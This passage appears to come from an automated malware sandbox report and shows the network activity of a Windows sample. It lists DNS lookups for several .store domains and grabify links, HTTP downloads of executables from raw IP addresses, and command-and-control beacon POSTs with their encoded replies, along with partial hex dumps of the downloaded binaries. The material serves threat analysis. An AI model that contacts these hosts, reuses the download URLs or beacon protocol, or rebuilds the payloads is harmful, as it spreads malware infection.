Oct 31, 2024 02:09:20.922667027 CET	192.168.2.5	1.1.1.1	0x4575	Standard query (0)	telegram.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:22.361803055 CET	192.168.2.5	1.1.1.1	0x7cc1	Standard query (0)	grabify.link	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:23.972467899 CET	192.168.2.5	1.1.1.1	0x8a18	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:37.283046961 CET	192.168.2.5	1.1.1.1	0x103c	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:37.293909073 CET	192.168.2.5	1.1.1.1	0x9f2c	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:37.304981947 CET	192.168.2.5	1.1.1.1	0x3efb	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:37.315329075 CET	192.168.2.5	1.1.1.1	0x57df	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:52.633224964 CET	192.168.2.5	1.1.1.1	0xb80e	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:52.646255016 CET	192.168.2.5	1.1.1.1	0x838	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:52.657495975 CET	192.168.2.5	1.1.1.1	0x4935	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:52.668004036 CET	192.168.2.5	1.1.1.1	0x470e	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:10:02.784964085 CET	192.168.2.5	1.1.1.1	0xb59a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:10:02.811178923 CET	192.168.2.5	1.1.1.1	0x217	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 02:10:19.040472984 CET	192.168.2.5	1.1.1.1	0x2fa1	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:10:19.352344990 CET	192.168.2.5	1.1.1.1	0xf2c8	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:10:19.539736032 CET	192.168.2.5	1.1.1.1	0xbded	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:10:19.757025003 CET	192.168.2.5	1.1.1.1	0x4945	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 02:07:58.752473116 CET	1.1.1.1	192.168.2.5	0x517f	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:07:58.766741991 CET	1.1.1.1	192.168.2.5	0x169a	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:07:58.776388884 CET	1.1.1.1	192.168.2.5	0xe912	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:07:58.788247108 CET	1.1.1.1	192.168.2.5	0xf1d2	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:07:58.808701038 CET	1.1.1.1	192.168.2.5	0xd6dc	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:07:58.808701038 CET	1.1.1.1	192.168.2.5	0xd6dc	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:19.510668993 CET	1.1.1.1	192.168.2.5	0x46c7	No error (0)	grabify.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:19.510668993 CET	1.1.1.1	192.168.2.5	0x46c7	No error (0)	grabify.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:20.929425955 CET	1.1.1.1	192.168.2.5	0x4575	No error (0)	telegram.org		149.154.167.99	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:22.390763998 CET	1.1.1.1	192.168.2.5	0x7cc1	No error (0)	grabify.link		104.26.9.202	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:22.390763998 CET	1.1.1.1	192.168.2.5	0x7cc1	No error (0)	grabify.link		104.26.8.202	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:22.390763998 CET	1.1.1.1	192.168.2.5	0x7cc1	No error (0)	grabify.link		172.67.68.246	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:23.979075909 CET	1.1.1.1	192.168.2.5	0x8a18	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:37.291804075 CET	1.1.1.1	192.168.2.5	0x103c	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:37.303128004 CET	1.1.1.1	192.168.2.5	0x9f2c	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:37.313519955 CET	1.1.1.1	192.168.2.5	0x3efb	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:37.323968887 CET	1.1.1.1	192.168.2.5	0x57df	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:52.641685009 CET	1.1.1.1	192.168.2.5	0xb80e	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:52.655237913 CET	1.1.1.1	192.168.2.5	0x838	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:52.666790009 CET	1.1.1.1	192.168.2.5	0x4935	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:09:52.676331997 CET	1.1.1.1	192.168.2.5	0x470e	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:10:02.726326942 CET	1.1.1.1	192.168.2.5	0x3d88	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:10:02.792375088 CET	1.1.1.1	192.168.2.5	0xb59a	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:10:19.051400900 CET	1.1.1.1	192.168.2.5	0x2fa1	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:10:19.369075060 CET	1.1.1.1	192.168.2.5	0xf2c8	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:10:19.548352003 CET	1.1.1.1	192.168.2.5	0xbded	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 02:10:19.765675068 CET	1.1.1.1	192.168.2.5	0x4945	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	185.215.113.16	80	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:08:12.659631014 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 02:08:13.563107967 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:08:13 GMT Content-Type: application/octet-stream Content-Length: 2882048 Last-Modified: Thu, 31 Oct 2024 00:28:41 GMT Connection: keep-alive ETag: "6722cf39-2bfa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2c 00 00 04 00 00 c6 6e 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`, `@ ,n,`Ui` @ @.rsrc`2@.idata 8@aejguxos++:@ewwuwcmc @,+@.taggant@`,"+@
Oct 31, 2024 02:08:13.563129902 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:08:13.563139915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:08:13.563147068 CET	12	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:08:13.563153028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:08:13.563158989 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:08:13.563163996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:08:13.563169956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:08:13.563241959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:08:13.563252926 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 02:08:13.568212986 CET	1236	IN	Data Raw: 24 02 08 3c 2a 01 b9 5f 36 da b6 0a 38 cc 9c 33 4b 02 9b 34 c9 43 9f 00 eb 63 c2 71 2b ff a1 2f 70 90 a3 3a ec fd ff 75 18 90 d5 5f 12 e3 94 d0 75 65 14 fe 6f f7 b3 10 09 05 9c 06 74 04 97 d4 49 0c 4a 69 00 f6 97 1d 19 91 d0 4e 40 f8 92 37 29 eb Data Ascii: $<_683K4Ccq+/p:u_ueotIJiN@7)8&H`9p{f8_y~9UWR!<0S78i9Y>;)/A2as8!0}y}fDpmN1`&YsHR*Y2P"#rj>,
Oct 31, 2024 02:08:19.676002979 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 02:08:19.961036921 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:08:19 GMT Content-Type: application/octet-stream Content-Length: 1864192 Last-Modified: Thu, 31 Oct 2024 01:00:20 GMT Connection: keep-alive ETag: "6722d6a4-1c7200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 e0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfI@J@Wk<II @.rsrc@.idata @ )@ifrehnre`p0T@zamtwnupIJ@.taggant0I"P@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49964	185.215.113.43	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:03.412601948 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 02:09:04.309189081 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49977	185.215.113.43	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:05.837801933 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 31, 2024 02:09:06.756910086 CET	762	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 01:09:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 62 0d 0a 20 3c 63 3e 31 30 30 32 37 35 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 66 34 37 62 35 63 62 34 66 36 36 32 32 34 32 37 39 62 33 30 30 61 66 39 37 64 32 61 38 65 35 66 34 62 64 63 63 36 61 38 30 34 34 34 38 39 37 35 64 66 37 35 38 34 35 34 30 35 39 39 64 63 65 63 31 32 30 39 37 65 33 64 31 34 38 32 62 23 31 30 30 32 37 35 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 65 37 37 30 39 33 34 35 34 39 61 63 36 63 66 37 34 39 35 64 34 34 35 64 39 63 39 32 65 31 30 30 62 37 23 31 30 30 32 37 35 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 37 35 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 [TRUNCATED] Data Ascii: 23b <c>1002753001+++b5937c1a99d5f9dd0f47b5cb4f66224279b300af97d2a8e5f4bdcc6a804448975df7584540599dcec12097e3d1482b#1002754001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbe770934549ac6cf7495d445d9c92e100b7#1002755001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002756001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002757001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002758001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49982	154.216.17.34	80	744	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 02:09:06.765520096 CET	65	OUT	GET /configuredInstallerEXE.exe HTTP/1.1 Host: 154.216.17.34
Oct 31, 2024 02:09:07.633800983 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:07 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 31 Oct 2024 00:28:03 GMT ETag: "766200-625bae43e689f" Accept-Ranges: bytes Content-Length: 7758336 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d0 e4 3f 99 94 85 51 ca 94 85 51 ca 94 85 51 ca df fd 52 cb 9c 85 51 ca df fd 54 cb 29 85 51 ca df fd 55 cb 85 85 51 ca 57 06 52 cb 9e 85 51 ca 57 06 55 cb 85 85 51 ca 57 06 54 cb c6 85 51 ca df fd 50 cb 93 85 51 ca 94 85 50 ca 10 85 51 ca 81 01 58 cb 92 85 51 ca 81 01 51 cb 95 85 51 ca 81 01 ae ca 95 85 51 ca 81 01 53 cb 95 85 51 ca 52 69 63 68 94 85 51 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 67 fc 05 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 b0 02 00 00 ce 73 00 00 00 00 00 dc 90 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$?QQQRQT)QUQWRQWUQWTQPQPQXQQQQSQRichQPEdgg"(s@v`P(vpv4&vXp@ .text `.rdataH@@.datarbr@.pdata4&pv(.v@@.rsrcvVv@@.relocXvXv@B
Oct 31, 2024 02:09:07.633825064 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 83 ec 28 41 b8 06 00 00 00 48 8d 15 17 5f 03 00 48 8d 0d 58 48 76 00 e8 73 10 00 00 90 0f 57 c0 0f 11 05 68 48 76 00 Data Ascii: H(AH_HXHvsWhHvWfmHvAH^HIHvDWYHvWf^HvAH^H:HvWJHvWfOHvAH^H+Hv
Oct 31, 2024 02:09:07.633836031 CET	1236	IN	Data Raw: 90 0f 57 c0 0f 11 05 3b 48 76 00 0f 57 c9 66 0f 7f 0d 40 48 76 00 41 b8 06 00 00 00 48 8d 15 9b 5e 03 00 48 8d 0d 1c 48 76 00 e8 b7 0f 00 00 90 0f 57 c0 0f 11 05 2c 48 76 00 0f 57 c9 66 0f 7f 0d 31 48 76 00 41 b8 06 00 00 00 48 8d 15 7c 5e 03 00 Data Ascii: W;HvWf@HvAH^HHvW,HvWf1HvAH\|^HHvWHvWf"HvAH]^HGvYWHvWfHvAH>^HGv*WGvWfHvAH^HGvW
Oct 31, 2024 02:09:07.633907080 CET	1236	IN	Data Raw: 00 e8 0c 0b 00 00 90 48 8d 0d b4 a7 02 00 48 83 c4 28 e9 bf 7e 00 00 cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 28 41 b8 06 00 00 00 48 8d 15 77 59 03 00 48 8d 0d 78 46 76 00 e8 d3 0a 00 00 90 0f 57 c0 0f 11 05 88 46 76 00 0f 57 c9 66 0f 7f 0d 8d Data Ascii: HH(~H(AHwYHxFvWFvWfFvAHXYHiFvWyFvWf~FvAH9YHZFvuWjFvWfoFvAHYHKFvFW[FvWf`FvAHXH<
Oct 31, 2024 02:09:07.633919001 CET	1236	IN	Data Raw: 00 00 00 48 8d 15 84 56 03 00 48 8d 0d ed 44 76 00 e8 28 06 00 00 90 0f 57 c0 0f 11 05 fd 44 76 00 0f 57 c9 66 0f 7f 0d 02 45 76 00 41 b8 08 00 00 00 48 8d 15 6d 56 03 00 48 8d 0d de 44 76 00 e8 f9 05 00 00 90 0f 57 c0 0f 11 05 ee 44 76 00 0f 57 Data Ascii: HVHDv(WDvWfEvAHmVHDvWDvWfDvAHVVHDvWDvWfDvAH?VHDvWDvWfDvAH(VHDvlHtH(yH(H=%vx
Oct 31, 2024 02:09:07.633930922 CET	1236	IN	Data Raw: 48 8b 51 18 48 8b d9 48 83 fa 07 76 31 48 8b 09 48 8d 14 55 02 00 00 00 48 81 fa 00 10 00 00 72 18 4c 8b 41 f8 48 83 c2 27 49 2b c8 48 8d 41 f8 48 83 f8 1f 77 1f 49 8b c8 e8 08 75 00 00 33 c0 48 c7 43 18 07 00 00 00 48 89 43 10 66 89 03 48 83 c4 Data Ascii: HQHHv1HHUHrLAH'I+HAHwIu3HCHCfH [T@SH HQHHv,HHHrLAH'I+HAHw!ItHCHCH [H\$UH )HAH+u
Oct 31, 2024 02:09:07.633943081 CET	1236	IN	Data Raw: 48 8b d6 45 33 c0 48 8b cf e8 18 01 00 00 48 8b 74 24 48 48 83 c4 30 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 40 53 55 56 41 56 48 83 ec 28 48 bd ff ff ff ff ff ff ff 7f 49 8b d8 4c 8b f2 48 8b f1 4c 3b c5 0f 87 cf 00 00 00 48 83 fb 0f 77 1f Data Ascii: HE3HHt$HH0_@SUVAVH(HILHL;HwHYHA3H(A^^][HH\|$ HH;v)HH'HlHtrHx'HHG8HH;HBHMHu3HrHA'H;v<FlHLH>IH^H
Oct 31, 2024 02:09:07.633960962 CET	1236	IN	Data Raw: 28 48 33 cc e8 29 68 00 00 48 83 c4 30 5b c3 cc cc cc 40 57 41 54 41 55 41 56 41 57 48 83 ec 40 4c 8b 01 48 b8 00 00 00 00 ff ff ff ff 44 8b 59 68 4c 8b f1 49 ff cb 49 f7 d3 41 0f b7 78 14 4d 8b 68 30 49 03 f8 4c 23 e8 44 8b 57 20 8b 47 28 4d 0b Data Ascii: (H3)hH0[@WATAUAVAWH@LHDYhLIIAxMh0IL#DW G(MM#LT$ L\$(uO<@tA@ yA@$O<E3DH\$pHl$xH$HT$0L$8Dd$<fA;@HdfA^hoHGIHH#uDA@tA@ EyA@
Oct 31, 2024 02:09:07.633971930 CET	1236	IN	Data Raw: 04 00 00 00 4c 89 b4 24 a0 00 00 00 41 b8 00 30 00 00 48 8b d5 48 89 b4 24 98 00 00 00 ff 15 8b 92 02 00 4c 8b f0 48 85 c0 75 23 41 b9 04 00 00 00 41 b8 00 30 00 00 48 8b d5 33 c9 ff 15 6c 92 02 00 4c 8b f0 48 85 c0 0f 84 d7 00 00 00 48 bb 00 00 Data Ascii: L$A0HH$LHu#AA0H3lLHHI.IH#H#H;sV@2HHH8AA0LpH3HLHH(H#H#H;rAxHHH3AI
Oct 31, 2024 02:09:07.633985043 CET	1236	IN	Data Raw: 48 c1 e8 10 66 85 c0 75 1a 8b 53 10 41 0f b7 c0 41 0f b7 c8 3b c2 0f 82 e2 00 00 00 2b ca e9 c1 00 00 00 49 83 7f 50 00 0f 85 89 00 00 00 8b 7b 20 b8 10 00 00 00 8b 73 24 49 03 fe 49 03 f6 48 f7 e1 48 c7 c1 ff ff ff ff 48 0f 42 c1 48 8b c8 e8 81 Data Ascii: HfuSAA;+IP{ s$IIHHHBHIGPHHuC3t+fDHIHvHHIFfAC;rIOPLA3DCHIWPHL$0AHD$ HtH;KwC
Oct 31, 2024 02:09:07.638828039 CET	1236	IN	Data Raw: 10 00 00 72 19 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 0f 87 eb 00 00 00 e8 ff 5c 00 00 0f 10 45 a7 0f 11 45 e7 0f 10 4d b7 0f 11 4d f7 4c 89 65 b7 48 c7 45 bf 0f 00 00 00 c6 45 a7 00 4c 8d 45 e7 66 48 0f 7e c1 66 0f 73 d9 08 66 Data Ascii: rH'HIH+HH\EEMMLeHEELEfH~fsfH~HLGHHHVWLEEHM/tH\HHUHv-HHMHHrH'HIH+HHw8^\HHAFHHMH3XHA_A^A\_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
